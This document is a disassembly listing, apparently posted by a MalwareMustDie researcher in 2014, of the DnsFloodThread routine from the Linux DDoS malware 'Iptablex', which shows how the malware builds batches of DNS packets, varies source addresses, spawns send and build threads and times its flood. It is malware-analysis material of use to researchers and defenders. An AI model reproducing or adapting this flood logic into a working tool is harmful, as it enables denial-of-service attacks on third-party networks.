; DNS Flood thread #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date ; Mon Jun 16 14:08:17 JST 2014 .text:08049080 public DnsFloodThread .text:08049080 DnsFloodThread proc near .text:08049080 var_C8 = dword ptr -0C8h .text:08049080 var_C4 = dword ptr -0C4h .text:08049080 var_C0 = dword ptr -0C0h .text:08049080 var_BC = dword ptr -0BCh .text:08049080 var_B8 = dword ptr -0B8h .text:08049080 var_B4 = dword ptr -0B4h .text:08049080 var_B0 = dword ptr -0B0h .text:08049080 var_AC = dword ptr -0ACh .text:08049080 var_A8 = dword ptr -0A8h .text:08049080 var_A0 = dword ptr -0A0h .text:08049080 var_9C = dword ptr -9Ch .text:08049080 var_98 = dword ptr -98h .text:08049080 var_94 = dword ptr -94h .text:08049080 var_90 = dword ptr -90h .text:08049080 var_8C = dword ptr -8Ch .text:08049080 var_88 = dword ptr -88h .text:08049080 var_84 = byte ptr -84h .text:08049080 var_80 = dword ptr -80h .text:08049080 var_7C = word ptr -7Ch .text:08049080 var_7A = word ptr -7Ah .text:08049080 var_78 = dword ptr -78h .text:08049080 var_74 = word ptr -74h .text:08049080 var_70 = dword ptr -70h .text:08049080 var_64 = dword ptr -64h .text:08049080 var_60 = dword ptr -60h .text:08049080 var_5C = dword ptr -5Ch .text:08049080 var_58 = dword ptr -58h .text:08049080 var_54 = dword ptr -54h .text:08049080 var_50 = byte ptr -50h .text:08049080 var_4C = dword ptr -4Ch .text:08049080 var_48 = dword ptr -48h .text:08049080 var_44 = dword ptr -44h .text:08049080 var_40 = dword ptr -40h .text:08049080 var_3C = dword ptr -3Ch .text:08049080 var_38 = dword ptr -38h .text:08049080 var_34 = dword ptr -34h .text:08049080 var_30 = dword ptr -30h .text:08049080 var_2C = dword ptr -2Ch .text:08049080 var_28 = dword ptr -28h .text:08049080 var_24 = dword ptr -24h .text:08049080 var_20 = dword ptr -20h .text:08049080 var_1C = dword ptr -1Ch .text:08049080 var_18 = dword ptr -18h .text:08049080 var_14 = dword ptr -14h .text:08049080 var_10 = dword ptr -10h .text:08049080 arg_0 = dword ptr 8 .text:08049080 push ebp .text:08049081 mov ecx, 10h .text:08049086 mov ebp, esp .text:08049088 push edi .text:08049089 push esi .text:0804908A push ebx .text:0804908B lea eax, [ebp+var_4C] .text:0804908E sub esp, 0BCh ; fd .text:08049094 mov esi, [ebp+arg_0] .text:08049097 mov [ebp+var_B4], eax .text:0804909D mov edi, [ebp+var_B4] .text:080490A3 xor eax, eax .text:080490A5 cld .text:080490A6 lea ebx, [esi+10h] .text:080490A9 rep stosd .text:080490AB mov eax, [esi+10h] .text:080490AE mov [ebp+var_4C], eax .text:080490B1 mov eax, [ebx+4] .text:080490B4 mov [ebp+var_48], eax .text:080490B7 mov eax, [ebx+8] .text:080490BA mov [ebp+var_44], eax .text:080490BD mov eax, [ebx+0Ch] .text:080490C0 mov [ebp+var_40], eax .text:080490C3 mov eax, [ebx+10h] .text:080490C6 mov [ebp+var_3C], eax .text:080490C9 mov eax, [ebx+14h] .text:080490CC mov [ebp+var_38], eax .text:080490CF mov eax, [ebx+18h] .text:080490D2 mov [ebp+var_34], eax .text:080490D5 mov eax, [ebx+1Ch] .text:080490D8 mov [ebp+var_30], eax .text:080490DB mov eax, [ebx+20h] .text:080490DE mov [ebp+var_2C], eax .text:080490E1 mov eax, [ebx+24h] .text:080490E4 mov [ebp+var_28], eax .text:080490E7 mov eax, [ebx+28h] .text:080490EA mov [ebp+var_24], eax .text:080490ED mov eax, [ebx+2Ch] .text:080490F0 mov [ebp+var_20], eax .text:080490F3 mov eax, [ebx+30h] .text:080490F6 mov [ebp+var_1C], eax .text:080490F9 mov eax, [ebx+34h] .text:080490FC mov [ebp+var_18], eax .text:080490FF mov eax, [ebx+38h] .text:08049102 mov [ebp+var_14], eax .text:08049105 mov eax, [ebx+3Ch] .text:08049108 mov [esp+0C8h+var_C0], 60h .text:08049110 mov [esp+0C8h+var_C4], 0 .text:08049118 mov [ebp+var_10], eax .text:0804911B lea eax, [ebp+var_AC] .text:08049121 mov [esp+0C8h+var_C8], eax .text:08049124 call memset .text:08049129 mov eax, [esi] .text:0804912B mov ecx, ebx .text:0804912D mov [ebp+var_78], eax .text:08049130 mov eax, [esi+4] .text:08049133 mov edi, [esi+64h] .text:08049136 mov [ebp+var_74], ax .text:0804913A .text:0804913A loc_804913A: .text:0804913A mov eax, [ecx] .text:0804913C add ecx, 4 .text:0804913F lea edx, [eax-1010101h] .text:08049145 not eax .text:08049147 and edx, eax .text:08049149 and edx, 80808080h .text:0804914F jz short loc_804913A .text:08049151 test edx, 8080h .text:08049157 jnz short loc_804915F .text:08049159 shr edx, 10h .text:0804915C add ecx, 2 .text:0804915F .text:0804915F loc_804915F: .text:0804915F add dl, dl .text:08049161 sbb ecx, 3 .text:08049164 sub ecx, ebx .text:08049166 add ecx, 2 .text:08049169 mov [ebp+var_B0], ecx .text:0804916F movzx eax, word ptr [ebp+var_B0] .text:08049176 mov [esp+0C8h+var_C8], 0 .text:0804917D add eax, 2Dh .text:08049180 mov word ptr [ebp+var_94+2], ax .text:08049187 call time .text:0804918C mov [ebp+var_A0], eax .text:08049192 mov eax, dword ptr ds:g_mainsrvinfo+10h .text:08049197 mov [esp+0C8h+var_C8], eax .text:0804919A call GetSocketIp .text:0804919F lea edx, [esi+50h] .text:080491A2 mov [ebp+var_98], 0 .text:080491AC mov [ebp+var_84], 0 .text:080491B3 mov [ebp+var_50], 1 .text:080491B7 mov ecx, eax .text:080491B9 ror cx, 8 .text:080491BD ror ecx, 10h .text:080491C0 ror cx, 8 .text:080491C4 mov [ebp+var_9C], ecx .text:080491CA mov eax, [esi+50h] .text:080491CD mov [ebp+var_60], eax .text:080491D0 mov eax, [edx+4] .text:080491D3 mov [ebp+var_5C], eax .text:080491D6 mov eax, [edx+8] .text:080491D9 mov [ebp+var_58], eax .text:080491DC mov eax, [edx+0Ch] .text:080491DF mov [ebp+var_54], eax .text:080491E2 test byte ptr [esi+8], 4 .text:080491E6 jnz loc_80492E0 .text:080491EC cmp edi, ecx .text:080491EE ja loc_80492C0 .text:080491F4 .text:080491F4 loc_80491F4: .text:080491F4 mov eax, dword ptr ds:g_mainsrvinfo+10h .text:080491F9 mov [esp+0C8h+var_C8], eax .text:080491FC call GetSocketIp .text:08049201 mov [ebp+var_98], 0 .text:0804920B ror ax, 8 .text:0804920F ror eax, 10h .text:08049212 ror ax, 8 .text:08049216 mov [ebp+var_9C], eax .text:0804921C .text:0804921C loc_804921C: .text:0804921C mov ebx, [esi+68h] .text:0804921F mov edi, [ebp+var_98] .text:08049225 mov [esp+0C8h+var_C8], 0 .text:0804922C call time .text:08049231 lea ebx, [ebx+eax+2] .text:08049235 movzx eax, word ptr [esi+6Ch] .text:08049239 mov [ebp+var_80], ebx .text:0804923C mov [ebp+var_7C], ax .text:08049240 movzx eax, word ptr [esi+6Eh] .text:08049244 mov [ebp+var_7A], ax .text:08049248 lea eax, [ebp+var_AC] .text:0804924E mov [esi+80h], eax .text:08049254 lea eax, [esi+78h] .text:08049257 mov [esp+0C8h+var_BC], eax .text:0804925B mov [esp+0C8h+var_C0], 0 .text:08049263 mov [esp+0C8h+var_C4], 1 .text:0804926B mov [esp+0C8h+var_C8], 1 .text:08049272 call socketpair .text:08049277 test eax, eax .text:08049279 jnz short loc_80492B1 .text:0804927B call fork .text:08049280 cmp eax, 0 .text:08049283 jz short loc_80492FB .text:08049285 jle loc_8049678 .text:0804928B mov [esi+74h], eax .text:0804928E mov [esp+0C8h+var_C0], 0 .text:08049296 mov [esp+0C8h+var_C4], 0 .text:0804929E mov [esp+0C8h+var_C8], eax .text:080492A1 call waitpid .text:080492A6 lea eax, [ebp+var_60] .text:080492A9 mov [esp+0C8h+var_C8], eax .text:080492AC call DeleteTask .text:080492B1 .text:080492B1 loc_80492B1: .text:080492B1 mov [esp+0C8h+var_C8], 0 .text:080492B8 call pthread_exit .text:080492BD lea esi, [esi+0] .text:080492C0 .text:080492C0 loc_80492C0: .text:080492C0 mov eax, dword ptr ds:g_mainsrvinfo+128h .text:080492C5 cmp ecx, eax .text:080492C7 jnb short loc_80492CF .text:080492C9 mov [ebp+var_9C], eax .text:080492CF .text:080492CF loc_80492CF: .text:080492CF mov eax, dword ptr ds:g_mainsrvinfo+12Ch .text:080492D4 cmp edi, eax .text:080492D6 jbe short loc_80492E0 .text:080492D8 mov edi, eax .text:080492DA lea esi, [esi+0] .text:080492E0 .text:080492E0 loc_80492E0: .text:080492E0 mov eax, [ebp+var_9C] .text:080492E6 cmp edi, eax .text:080492E8 jbe loc_80491F4 .text:080492EE sub edi, eax .text:080492F0 mov [ebp+var_98], edi .text:080492F6 jmp loc_804921C .text:080492FB .text:080492FB loc_80492FB: .text:080492FB lea eax, [ebp+var_AC] .text:08049301 mov ds:rmsg, eax .text:08049306 mov [esp+0C8h+var_C4], offset stopatk .text:0804930E mov [esp+0C8h+var_C8], 0E8h .text:08049315 call ssignal .text:0804931A mov eax, [esi+7Ch] .text:0804931D mov [esp+0C8h+var_C8], eax .text:08049320 call close .text:08049325 mov eax, [ebp+var_B0] .text:0804932B add eax, 2 .text:0804932E mov [esp+0C8h+var_C8], eax .text:08049331 call malloc .text:08049336 mov [ebp+var_90], 0 .text:08049340 mov [ebp+var_AC], 0 .text:0804934A mov [ebp+var_A8], 0 .text:08049354 mov [ebp+var_88], eax .text:0804935A movzx eax, word ptr [ebp+var_94+2] .text:08049361 imul ebx, eax, 1389h .text:08049367 mov [esp+0C8h+var_C8], ebx .text:0804936A call malloc .text:0804936F mov [esp+0C8h+var_C8], ebx .text:08049372 mov [ebp+var_AC], eax .text:08049378 call malloc .text:0804937D mov [ebp+var_A8], eax .text:08049383 mov eax, [ebp+var_88] .text:08049389 mov [esp+0C8h+var_C4], eax .text:0804938D lea eax, [ebp+var_4C] .text:08049390 mov [esp+0C8h+var_C8], eax .text:08049393 call dmpacket .text:08049398 mov word ptr [ebp+var_94], ax .text:0804939F mov eax, [ebp+var_AC] .text:080493A5 test eax, eax .text:080493A7 jz loc_804963E .text:080493AD mov ecx, [ebp+var_A8] .text:080493B3 test ecx, ecx .text:080493B5 jz loc_8049636 .text:080493BB mov edx, [ebp+var_88] .text:080493C1 test edx, edx .text:080493C3 jz loc_8049636 .text:080493C9 mov [esp+0C8h+var_C0], ebx .text:080493CD mov [esp+0C8h+var_C4], 0 .text:080493D5 mov [esp+0C8h+var_C8], eax .text:080493D8 call memset .text:080493DD mov eax, [ebp+var_A8] .text:080493E3 mov [esp+0C8h+var_C0], ebx .text:080493E7 xor ebx, ebx .text:080493E9 mov [esp+0C8h+var_C4], 0 .text:080493F1 mov [esp+0C8h+var_C8], eax .text:080493F4 call memset .text:080493F9 lea esi, [esi+0] .text:08049400 .text:08049400 loc_8049400: .text:08049400 mov eax, [ebp+var_78] .text:08049403 mov [esp+0C8h+var_C0], eax .text:08049407 mov eax, [ebp+var_88] .text:0804940D mov [esp+0C8h+var_C4], eax .text:08049411 movzx eax, word ptr [ebp+var_94+2] .text:08049418 imul eax, ebx .text:0804941B add eax, [ebp+var_AC] .text:08049421 mov [esp+0C8h+var_C8], eax .text:08049424 call dnspacket .text:08049429 mov eax, [ebp+var_78] .text:0804942C mov [esp+0C8h+var_C0], eax .text:08049430 mov eax, [ebp+var_88] .text:08049436 mov [esp+0C8h+var_C4], eax .text:0804943A movzx eax, word ptr [ebp+var_94+2] .text:08049441 imul eax, ebx .text:08049444 add eax, [ebp+var_A8] .text:0804944A mov [esp+0C8h+var_C8], eax .text:0804944D call dnspacket .text:08049452 mov eax, [ebp+var_98] .text:08049458 cmp eax, 1 .text:0804945B jbe short loc_8049467 .text:0804945D mov [esp+0C8h+var_C8], eax .text:08049460 call Hbrand .text:08049465 mov edi, eax .text:08049467 .text:08049467 loc_8049467: .text:08049467 mov eax, edi .text:08049469 add eax, [ebp+var_9C] .text:0804946F ror ax, 8 .text:08049473 ror eax, 10h .text:08049476 ror ax, 8 .text:0804947A mov [esp+0C8h+var_BC], eax .text:0804947E lea eax, [ebp+var_94] .text:08049484 mov [esp+0C8h+var_C0], eax .text:08049488 mov eax, [ebp+var_88] .text:0804948E mov [esp+0C8h+var_C4], eax .text:08049492 movzx eax, word ptr [ebp+var_94+2] .text:08049499 imul eax, ebx .text:0804949C add ebx, 1 .text:0804949F add eax, [ebp+var_AC] .text:080494A5 mov [esp+0C8h+var_C8], eax .text:080494A8 call ChangeDns .text:080494AD cmp ebx, 1388h .text:080494B3 jnz loc_8049400 .text:080494B9 mov eax, [ebp+var_AC] .text:080494BF lea ebx, [ebp+var_70] .text:080494C2 mov [ebp+var_50], 1 .text:080494C6 lea edi, [ebp+var_64] .text:080494C9 mov [ebp+var_8C], eax .text:080494CF .text:080494CF loc_80494CF: .text:080494CF mov [esp+0C8h+var_C8], 2710h .text:080494D6 call usleep .text:080494DB lea eax, [ebp+var_AC] .text:080494E1 mov [esp+0C8h+var_C0], ebx .text:080494E5 add ebx, 4 .text:080494E8 mov [esp+0C8h+var_B8], 1 .text:080494F0 mov [esp+0C8h+var_BC], 0 .text:080494F8 mov [esp+0C8h+var_C4], eax .text:080494FC mov [esp+0C8h+var_C8], offset DnsFloodSendThread .text:08049503 call HbCreateThread .text:08049508 cmp ebx, edi .text:0804950A jnz short loc_80494CF .text:0804950C mov [esp+0C8h+var_C8], 4E20h .text:08049513 call usleep .text:08049518 lea eax, [ebp+var_AC] .text:0804951E mov [esp+0C8h+var_B8], 1 .text:08049526 mov [esp+0C8h+var_BC], 1 .text:0804952E mov [esp+0C8h+var_C0], ebx .text:08049532 mov [esp+0C8h+var_C4], eax .text:08049536 mov [esp+0C8h+var_C8], offset DnsFloodBuildThread .text:0804953D call HbCreateThread .text:08049542 cmp [ebp+var_50], 0 .text:08049546 jnz short loc_8049588 .text:08049548 jmp short loc_804959B .text:0804954A align 10h .text:08049550 .text:08049550 loc_8049550: .text:08049550 movzx eax, [ebp+var_7C] .text:08049554 imul eax, 0F4240h .text:0804955A mov [esp+0C8h+var_C8], eax .text:0804955D call usleep .text:08049562 movzx eax, [ebp+var_7A] .text:08049566 mov [ebp+var_84], 1 .text:0804956D imul eax, 0F4240h .text:08049573 mov [esp+0C8h+var_C8], eax .text:08049576 call usleep .text:0804957B cmp [ebp+var_50], 0 .text:0804957F mov [ebp+var_84], 0 .text:08049586 jz short loc_804959B .text:08049588 .text:08049588 loc_8049588: .text:08049588 mov ebx, [ebp+var_80] .text:0804958B mov [esp+0C8h+var_C8], 0 .text:08049592 call time .text:08049597 cmp ebx, eax .text:08049599 jg short loc_8049550 .text:0804959B .text:0804959B loc_804959B: .text:0804959B mov [ebp+var_50], 0 .text:0804959F xor edi, edi .text:080495A1 xor ebx, ebx .text:080495A3 mov [esp+0C8h+var_C8], 186A0h .text:080495AA call usleep .text:080495AF .text:080495AF loc_80495AF: .text:080495AF mov eax, [ebp+ebx*4+var_70] .text:080495B3 mov [esp+0C8h+var_C4], 64h .text:080495BB mov [esp+0C8h+var_C8], eax .text:080495BE call HbCheckThread .text:080495C3 test eax, eax .text:080495C5 jz short loc_80495D0 .text:080495C7 cmp edi, 1Dh .text:080495CA jbe loc_8049684 .text:080495D0 .text:080495D0 loc_80495D0: .text:080495D0 add ebx, 1 .text:080495D3 cmp ebx, 2 .text:080495D6 jg short loc_80495DC .text:080495D8 xor edi, edi .text:080495DA jmp short loc_80495AF .text:080495DC .text:080495DC loc_80495DC: .text:080495DC xor ebx, ebx .text:080495DE .text:080495DE loc_80495DE: .text:080495DE mov eax, [ebp+ebx*4+var_70] .text:080495E2 add ebx, 1 .text:080495E5 mov [esp+0C8h+var_C8], eax .text:080495E8 call HbExitThread .text:080495ED cmp ebx, 3 .text:080495F0 jnz short loc_80495DE .text:080495F2 xor bl, bl .text:080495F4 jmp short loc_804960A .text:080495F6 .text:080495F6 loc_80495F6: .text:080495F6 cmp ebx, 1Eh .text:080495F9 jz short loc_8049621 .text:080495FB add ebx, 1 .text:080495FE mov [esp+0C8h+var_C8], 186A0h .text:08049605 call usleep .text:0804960A .text:0804960A loc_804960A: .text:0804960A mov eax, [ebp+var_64] .text:0804960D mov [esp+0C8h+var_C4], 64h .text:08049615 mov [esp+0C8h+var_C8], eax .text:08049618 call HbCheckThread .text:0804961D test eax, eax .text:0804961F jnz short loc_80495F6 .text:08049621 .text:08049621 loc_8049621: .text:08049621 mov eax, [ebp+var_64] .text:08049624 mov [esp+0C8h+var_C8], eax .text:08049627 call HbExitThread .text:0804962C mov eax, [ebp+var_AC] .text:08049632 test eax, eax .text:08049634 jz short loc_804963E .text:08049636 .text:08049636 loc_8049636: .text:08049636 mov [esp+0C8h+var_C8], eax .text:08049639 call free .text:0804963E .text:0804963E loc_804963E: .text:0804963E mov eax, [ebp+var_A8] .text:08049644 test eax, eax .text:08049646 jz short loc_8049650 .text:08049648 mov [esp+0C8h+var_C8], eax .text:0804964B call free .text:08049650 .text:08049650 loc_8049650: .text:08049650 mov eax, [ebp+var_88] .text:08049656 test eax, eax .text:08049658 jz short loc_8049662 .text:0804965A mov [esp+0C8h+var_C8], eax .text:0804965D call free .text:08049662 .text:08049662 loc_8049662: .text:08049662 mov dword ptr [esi+80h], 0 .text:0804966C mov [esp+0C8h+var_C8], 0 .text:08049673 call exit .text:08049678 .text:08049678 loc_8049678: .text:08049678 mov [esp+0C8h+var_C8], 0 .text:0804967F call exit .text:08049684 .text:08049684 loc_8049684: .text:08049684 add edi, 1 .text:08049687 mov [esp+0C8h+var_C8], 186A0h .text:0804968E call usleep .text:08049693 jmp loc_80495AF .text:08049693 DnsFloodThread endp